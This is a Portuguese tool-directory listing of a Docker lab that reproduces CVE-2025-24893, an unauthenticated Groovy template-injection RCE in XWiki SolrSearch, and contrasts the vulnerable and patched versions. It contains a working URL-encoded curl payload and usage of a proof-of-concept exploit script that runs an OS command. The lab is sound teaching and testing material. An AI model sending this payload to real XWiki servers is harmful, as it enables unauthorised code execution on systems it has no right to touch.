Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-24893_Analysis — Laboratório Docker autossuficiente que reproduz o CVE-2025-24893, uma SSTI-para-RCE não autenticada no XWiki SolrSearch, e compara o comportamento vulnerável versus o corrigido. | Kitploit
Ferramentas/GitHubGitHub/mattiacervelli/cve-2025-24893_analysis
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHub
mattiacervelli/cve-2025-24893_analysis

CVE-2025-24893_Analysis

Laboratório Docker autossuficiente que reproduz o CVE-2025-24893, uma SSTI-para-RCE não autenticada no XWiki SolrSearch, e compara o comportamento vulnerável versus o corrigido.

Ver Repositório
5há 22 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-24893 - XWiki SolrSearch SSTI para RCE não autenticado

Um laboratório Docker autocontido que reproduz a CVE-2025-24893, uma injeção de template no lado do servidor no feed RSS do SolrSearch do XWiki que leva à execução remota de código sem autenticação. Ele executa a versão vulnerável 15.10.10 e a versão corrigida 15.10.11, de modo que a mesma requisição pode ser demonstrada com sucesso em uma e falhando na outra.

Nota sobre o uso de ferramentas de IA. Ao preparar este projeto, fiz uso limitado de dois assistentes de IA --- o Claude Opus 4.8 da Anthropic e o DeepSeek-V4-Flash-0731 --- para pesquisa de documentação e de abordagem, para revisão de código e para aprimorar a redação do arquivo README.md e do relatório em LaTeX. A contribuição deles foi marginal e estritamente subordinada às minhas próprias decisões.

1. Pré-requisitos

  • Docker Engine e Docker Compose v2 (o subcomando docker compose, não o antigo binário docker-compose). Registre as versões para o relatório com docker --version e docker compose version.
  • Cerca de 2 GB de RAM livre para o container do XWiki (o heap da JVM está definido como 1 GB) além do MySQL.
  • Funciona em amd64 e arm64 (incluindo Apple Silicon): a imagem base , o e o driver JDBC puramente Java são todos multi-arquitetura.
tomcat:9-jre17
mysql:8.4
  • Acesso à Internet apenas no primeiro build, para baixar o WAR do XWiki e o driver JDBC, ambos verificados por checksum.
  • 2. Estrutura

    root@kitploit:~
    cve-2025-24893-xwiki/
    ├── SETUP_GUIDE.md
    ├── README.md
    ├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
    ├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
    ├── exploit.py                    # standard-library proof of concept
    ├── figures/
    │   ├── Figure 1.png
    │   ├── Figure 2.png
    │   ├── Figure 3.png
    │   └── Figure 4.png
    ├── mysql/
    │   └── init.sql                  # privileges for the xwiki DB user
    └── xwiki-build/                  # image build, pinned to the exact version by SHA-256
        ├── Dockerfile
        ├── tomcat/
        │   └── setenv.sh
        └── xwiki/
            ├── docker-entrypoint.sh
            └── hibernate.cfg.xml
    

    A única diferença entre as duas stacks é a versão do XWiki. Todo o resto, incluindo a imagem do banco de dados e o driver JDBC, é idêntico; portanto, qualquer mudança de comportamento se deve à correção e a nada mais.

    3. Reproduzir a vulnerabilidade (15.10.10)

    Construa e inicie:

    root@kitploit:~
    docker compose -f docker-compose.vuln.yml up --build -d
    

    O primeiro build baixa e descompacta o XWiki, o que leva alguns minutos. Aguarde o Tomcat reportar a inicialização:

    root@kitploit:~
    docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."
    

    Conclua a configuração única de primeira inicialização: abra http://localhost:8080 e complete o Assistente de Distribuição (instale o flavor padrão XWiki Standard). Isso provisiona a interface do SolrSearch que o exploit ataca. O endpoint é acessível a convidados (guests), portanto o ataque em si não exige login; esta configuração inicial é a única etapa que exige.

    Execute o exploit (sem autenticação):

    root@kitploit:~
    python3 exploit.py http://localhost:8080
    

    Saída esperada na stack vulnerável:

    root@kitploit:~
    [+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
    

    Opcionalmente, mostre que a execução alcança o sistema operacional com um comando somente leitura:

    root@kitploit:~
    python3 exploit.py http://localhost:8080 --prove-os
    # [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
    

    A mesma requisição como um one-liner simples de curl:

    root@kitploit:~
    curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
    # vulnerable -> prints arith=42
    

    Tire uma captura de tela da saída para o relatório e, em seguida, derrube a stack:

    root@kitploit:~
    docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes
    

    4. Reproduzir a correção (15.10.11)

    root@kitploit:~
    docker compose -f docker-compose.patched.yml up --build -d
    docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."
    

    Conclua novamente o Assistente de Distribuição em http://localhost:8080 e então execute o exploit idêntico:

    root@kitploit:~
    python3 exploit.py http://localhost:8080
    

    Saída esperada na stack corrigida:

    root@kitploit:~
    [-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
    

    Tire também uma captura de tela dessa saída e depois faça o reset:

    root@kitploit:~
    docker compose -f docker-compose.patched.yml down -v
    

    Por que a correção funciona

    Na versão 15.10.10, o bloco de saída do feed emite o feed como uma expressão Velocity simples ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), de modo que o feed — que reflete o texto de pesquisa do usuário — é passado de volta pelo pipeline de renderização do XWiki, onde uma macro {{groovy}} embutida é executada. Na versão 15.10.11, esse bloco é substituído por uma chamada a uma nova macro rawResponse (SolrSearchMacros.xml linha 954; a macro é definida em templates/macros.vm). A rawResponse define o tipo de conteúdo explicitamente (application/rss+xml), grava os bytes do feed diretamente na resposta com $response.writer.print(...) e chama $xcontext.setFinished(true) para interromper qualquer renderização adicional, de modo que o feed é enviado sem alterações e o bloco {{groovy}} embutido nunca é avaliado. Commit do patch 67021db9b8ed26c2236a653269302a86bf01ef40, advisory GHSA-rr6p-3pfg-562j. O advisory também fornece uma solução alternativa manual: edite Main.SolrSearchMacros para usar o mesmo padrão rawResponse, o que fecha o sink sem precisar atualizar.

    5. Determinismo e reset

    • Fixados: as versões do XWiki (15.10.10 e 15.10.11), os checksums SHA-256 do WAR e do JDBC, a imagem base tomcat:9-jre17, o banco de dados mysql:8.4 e a porta 8080.
    • Redefina o estado com docker compose -f <file> down -v; o próximo up reinicializa do zero.
    • As credenciais (xwiki/xwiki, root xwiki-root) são apenas para este laboratório local.
    • As duas stacks usam nomes de projeto Compose diferentes, portanto os volumes delas nunca colidem. Não execute as duas ao mesmo tempo, pois ambas publicam a porta 8080.

    6. Verifique você mesmo os checksums fixados

    root@kitploit:~
    for V in 15.10.10 15.10.11; do
      curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
      echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
    done; rm -f x.war
    # expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
    #         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
    
    curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
    echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
    # expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
    

    Atribuição

    xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) e mysql/init.sql são adaptados ou incorporados (vendored) a partir do build oficial do XWiki, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). O Dockerfile difere da imagem upstream em três pequenos aspectos documentados: (1) a versão e o checksum do XWiki e do JDBC são passados como argumentos de build, de modo que um único arquivo constrói tanto a imagem vulnerável quanto a corrigida; (2) um chmod +x explícito garante que o entrypoint seja executável mesmo que as permissões Unix se percam quando os arquivos são descompactados ou transferidos; e (3) um comentário upstream desatualizado que fazia referência a um arquivo .env (não utilizado aqui) foi corrigido. O XWiki é copyright do XWiki Development Team.

    Baixar ferramenta